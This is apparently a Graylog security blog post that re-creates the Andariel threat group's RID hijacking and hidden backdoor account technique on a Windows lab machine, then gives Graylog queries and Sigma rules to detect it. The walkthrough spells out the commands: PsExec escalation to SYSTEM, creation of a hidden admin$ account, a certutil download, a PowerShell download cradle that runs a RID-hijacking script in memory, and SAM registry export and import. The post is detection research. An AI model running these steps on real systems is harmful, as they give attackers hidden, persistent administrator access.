Researchers at AhnLab Security Intelligence Center (ASEC) recently published a report on the Andariel threat group, a DPRK state-sponsored APT active for over a decade, that has been leveraging RID hijacking and user account concealment techniques in its operations to stealthily maintain privileged access to compromised Windows systems.
This blog post explores hands-on how RID hijacking and hidden backdoor accounts work in Andariel’s attack chain, and how Graylog Security can be used to detect and analyze similar activity in an organization’s network.
What is RID Hijacking?
The RID, or Relative Identifier, uniquely identifies a user in Windows as part of its Security Identifier (SID). When a user logs on, the system retrieves the SID for that user from the local Security Account Manager (SAM) database and places it in the user’s access token to identify it in subsequent interactions. The local Administrator account RID is always 500, and standard user RIDs usually start at 1001.
RID hijacking is a technique discovered by Sebastian Castro that involves modifying the RID value of a low-privileged account to match the value of a privileged account such as local Administrator by manipulating the SAM database. As a result, the operating system mistakenly grants elevated privileges to the originally restricted account, allowing the attacker to execute privileged commands as that user.
This technique is particularly stealthy because the activity in event logs will still be associated with the low-privilege user and there is often less scrutiny applied to standard accounts.
However, there is a caveat to the technique – it requires SYSTEM level privileges to access and modify user information in the SAM, which resides in a protected registry key.
Attack Demonstration
According to the report from AhnLab, the threat actor’s RID hijacking process consists of the following stages. We’ll use this model as we walk through the attack in a lab environment.
The RID Hijacking attack process referenced from AhnLab
Our lab consists of a Windows 10 Enterprise system with auditing enabled for process execution (command line included), account logon and management, registry, and SAM access. Script block logging is also turned on.
System, Security, and PowerShell/Operational event logs are sent via Winlogbeat to a Graylog Enterprise 6.0.1 instance with Illuminate 6.1 installed to enable parsing and enrichment.
Stage 1: SYSTEM Privilege Escalation
We’ll assume initial access to the Windows system and start off with an elevated admin user. However, in order to access the SAM registry hive, we need SYSTEM. To do this, we can use exploits like JuicyPotato or tools like PsExec, a Microsoft Sysinternals tool often abused by adversaries for lateral movement and privilege escalation. We’ll spawn a PowerShell session using PsExec with the -s argument:
PsExec.exe -s -i powershell.exe
The output of whoami /user in the shell confirms that we’re now running as SYSTEM.
In Graylog, we can see a common indicator of Sysinternals PsExec activity, Event ID 7045 Remote Service Creation with the default service name PSEXESVC. Following the subsequent events (ordered bottom to top) we see our whoami command executed as Local System.
Stage 2: Create User Account
Having obtained SYSTEM, the adversary proceeded to create a hidden local user account and add it to privileged groups. These are the commands used:
net user admin$ admin@123 /add
net localgroup “Remote Desktop Users” “admin$” /add
net localgroup “Administrators” “admin$” /add
The trick to hiding the user here is the $ at the end of the username. It’s an old school technique that imitates computer accounts which are hidden from some user listing options – note that the newly created user isn’t shown in the output of net user.
In Graylog we see the commands as event ID 4688 labeled as “process started”, and additional labels for 4720 “account created” and 4732 “group member added”.
Stage 3: Modify the RID Value in Registry
Before demonstrating the RID hijack, let’s see what the current RID value and permissions are for the user admin$. We’ll open a separate command prompt and spawn a shell as that user using runas:
runas /user:admin$ cmd
Then, execute whoami commands in that shell. As shown, the user’s current RID is 1009 and its privileges are limited as expected for a standard user.
Well, as the chefs say, elevate it!
Back to the PowerShell session as SYSTEM, we can run regedit.exe to open the GUI registry editor in the same privilege context.
User information is stored in the SAM hive in unique subkeys under:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
Each subkey corresponds to an account where the key name is the hexadecimal representation of the decimal user RID. The value 1009 for admin$ translates to 0x3F1, so we’re looking at the key 000003F1.
Within key 000003F1 the actual RID can be found in the value F which contains binary data. As highlighted, the RID value is located at offset 30 and stored in little-endian format.
To execute the hijack, we need to overwrite this value with the local Administrator RID of 500 (0x1F4) converted to little-endian as shown below.
With that modification, admin$ should now be given the elevated RID 500 upon logon. If we open a new command prompt as the user and run whoami /user, we see the new hijacked RID, though the rest of the SID stays unchanged. Running whoami /priv shows that the user has been granted admin privileges.
We can hunt in Graylog for activity associated with non-Administrator accounts that have the RID 500 using the following query:
NOT user_name:administrator AND user_id:/.*\-500/
This query might result in false positives if the administrator account is renamed. We can further specify it to target both RID hijacking and user accounts mimicking machine names.
user_name:/.*\$/ AND user_id:/.*\-500/
Custom and Open-source Tooling
AhnLab Report
Manually altering SAM user information in the registry editor is good for demonstration, but it isn’t necessarily what threat actors are doing.
The AhnLab report details that Andariel utilized two distinct custom tools to automate the RID hijacking attack process. One of the tools named CreateHiddenAccount is open-source and available on GitHub.
AhnLab breaks down the differences between the tools quite well in its report:

CreateHiddenAccount is particularly interesting since it can work without SYSTEM privileges. It still needs access to the SAM registry key, so it employs the Windows CLI program regini to edit the registry through a .ini file. The file contains parameters to open up the SAM registry key access permissions to allow modification with administrator privileges.
Let’s execute the CreateHiddenAccount tool in a fresh Graylog lab to see what events are produced. First, download the UPX packed variant to the Windows host.
certutil.exe -urlcache -split -f https://github.com/wgpsec/CreateHiddenAccount/releases/download/0.2/CreateHiddenAccount_upx_v0.2.exe CreateHiddenAccount_upx_v0.2.exe
The command line arguments require the hidden user to create (the $ is appended automatically) and the target user whose RID will be cloned. Here, we’re again creating the user admin$ and targeting the local admin RID.
CreateHiddenAccount_upx_v0.2.exe -u admin -p admin@123 -cu Administrator
The tool produces some interesting events to analyze in Graylog. Directly after execution we see regini.exe being used to modify the access control rules of the SAM registry key.
Following that is a flurry of user enumeration events and account creation for admin$. Interestingly, we see the tool deleting the hidden user then silently importing a .reg file using regedit. What’s happening here is that the tool already populated the import file with information from the user registry key before it was deleted, and modified the RID in the file to match Administrator’s. This is an additional step to hide the created user as once the registry key is restored, the user becomes hidden from additional user list interfaces.
Those with their detection hat on might notice that the filenames are notably unique and static throughout the tool execution. These names are actually hardcoded in the source code, seen in the function below.
This presents an opportunity to detect CreateHiddenAccount execution via child process command lines where the unique filenames are present. Note though that this is considered a brittle detection – while it can reliably identify this particular version of CreateHiddenAccount unmodified, it is trivial for the adversary to change these filenames in the source before compiling to an executable.
Nonetheless, it’s useful in a threat hunt or to detect the vanilla tool. We can use the following query:
process_command_line:(/.*N2kvMLEQiiHHNWXFpEg7uaNmcu9ic95j8\.ini/ OR /.*sTRmxJkRFoTFaPRXBeavZhjaAYNvpYko\.reg/)
The tool by itself doesn’t do much in the way of behavior obfuscation or sandbox evasion. Querying its hash on VirusTotal returns some damning results.
Further Attempts to Hide Users
In addition to hiding the backdoor user account with a username ending in $, the custom tool used by Andariel attempts to further conceal the account through deletion and registry import operations. We analyzed a similar feature in CreateHiddenAccount, but now we’ll carry out the technique separately and see what can be gleaned from the logs.
As demonstrated below, we repeat the steps of SYSTEM privilege escalation and hidden user account creation, but this time we run a PowerShell download cradle to fetch and execute in-memory a RID hijacking script from GitHub. This leaves us with the account given administrator privileges without further action to conceal it.
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/r4wd3r/RID-Hijacking/master/Invoke-RIDHijacking.ps1'); Invoke-RIDHijacking -User 'admin$' -RID 500
Graylog Illuminate captures the PowerShell script execution and even extracts the SAM registry key path being modified for RID hijacking.
Even with the fake computer name, the hidden user still shows up in Computer Management.
Following along with the Andariel threat group’s tool methods, we run commands to:
A) Fetch the hidden user’s RID
Get-WmiObject Win32_UserAccount | Where-Object { $_.Name -eq 'admin$' } | Select-Object Name, SID
B) Export the hidden user’s associated registry keys in the SAM hive
reg export hklm\sam\sam\domains\account\users\names\admin$ names.reg
reg export hklm\sam\sam\domains\account\users\0000XXXX users.reg
C) Delete the user
net user admin$ /delete
D) Restore the user by importing the registry files containing the user keys information
reg import names.reg
reg import users.reg
By using this method, admin$ is no longer displayed in Computer Management, at least until a system reboot.
Every step of the execution can be seen in Graylog.
Detections
We’ve provided Sigma rules below to detect the following aspects of the attack chain:
- Hidden user account with Administrator RID
- RID hijacking via CreateHiddenAccount
- Export of SAM users registry keys via reg.exe
With Graylog Security, we can manually add these rules and configure timed search intervals to detect the activity in our log ingest.
The Sigma engine in Graylog provides an option to search the logs using the detector before deployment. This way you can also see the exact search query the rule translates to.
Rule #1
title: Illuminate - Hidden User Account With Administrator RID
id: 531bfab7-d18c-4f51-bae0-64cf38cae3d5
status: experimental
description: Detects special privileges assigned to a hidden account manipulated with admin RID hijacking
references:
- https://asec.ahnlab.com/en/85942/
author: JL (Graylog)
date: 2025/02/04 # Graylog format
tags:
- attack.privilege-escalation
- attack.t1078
- attack.persistence
- attack.t1098
logsource:
product: windows
service: security
detection:
selection_event:
EventID: 4672
selection_name:
SubjectUserName|endswith: '$'
selection_rid:
SubjectUserSid|endswith: '-500'
condition: all of selection*
falsepositives:
- Unknown
level: high
Rule #2
title: Illuminate - RID Hijacking Via CreateHiddenAccount
id: 8b8fdf38-4e34-4d7b-bdaa-b3b9920fb80b
status: experimental
description: Detects the open-source tool CreateHiddenAccount (unmodified) used by Andariel threat group for RID hijacking
references:
- https://github.com/wgpsec/CreateHiddenAccount/
- https://asec.ahnlab.com/en/85942/
author: JL (Graylog)
date: 2025/02/04 # Graylog format
tags:
- attack.privilege-escalation
- attack.t1078
- attack.persistence
- attack.t1136.001
- attack.t1098
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'N2kvMLEQiiHHNWXFpEg7uaNmcu9ic95j8' # regini .N2kvMLEQiiHHNWXFpEg7uaNmcu9ic95j8.ini
- 'sTRmxJkRFoTFaPRXBeavZhjaAYNvpYko' # regedit /s .sTRmxJkRFoTFaPRXBeavZhjaAYNvpYko.reg
condition: selection
falsepositives:
- Unknown
level: high
Rule #3
title: Illuminate - Export of SAM Users Registry Keys Via Reg.exe
id: 0709625a-4703-47ba-acfd-3beaa4d0f1dc
status: experimental
description: Detects export of SAM user account information via reg export
references:
- https://asec.ahnlab.com/en/85942/
author: JL (Graylog)
date: 2025/02/04 # Graylog format
tags:
- attack.credential_access
- attack.t1003.002
- attack.persistence
- attack.t1098
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'export'
- 'hklm\sam\sam\domains\account\users\'
condition: selection
falsepositives:
- Administrative scripts or forensic investigations
level: high
Graylog Detections
Graylog has provided the Sigma Rules here to share threat detection intelligence with those not running Graylog Security. Note that Graylog Security customers receive a content feed including Sigma Rules, Anomaly Detectors, and Dashboards, and other content to meet various security use cases. For more about Sigma Rules, see our recent blog “The Ultimate Guide to Sigma Rules”
To learn how Graylog can help you improve your security posture, contact us today or watch a demo.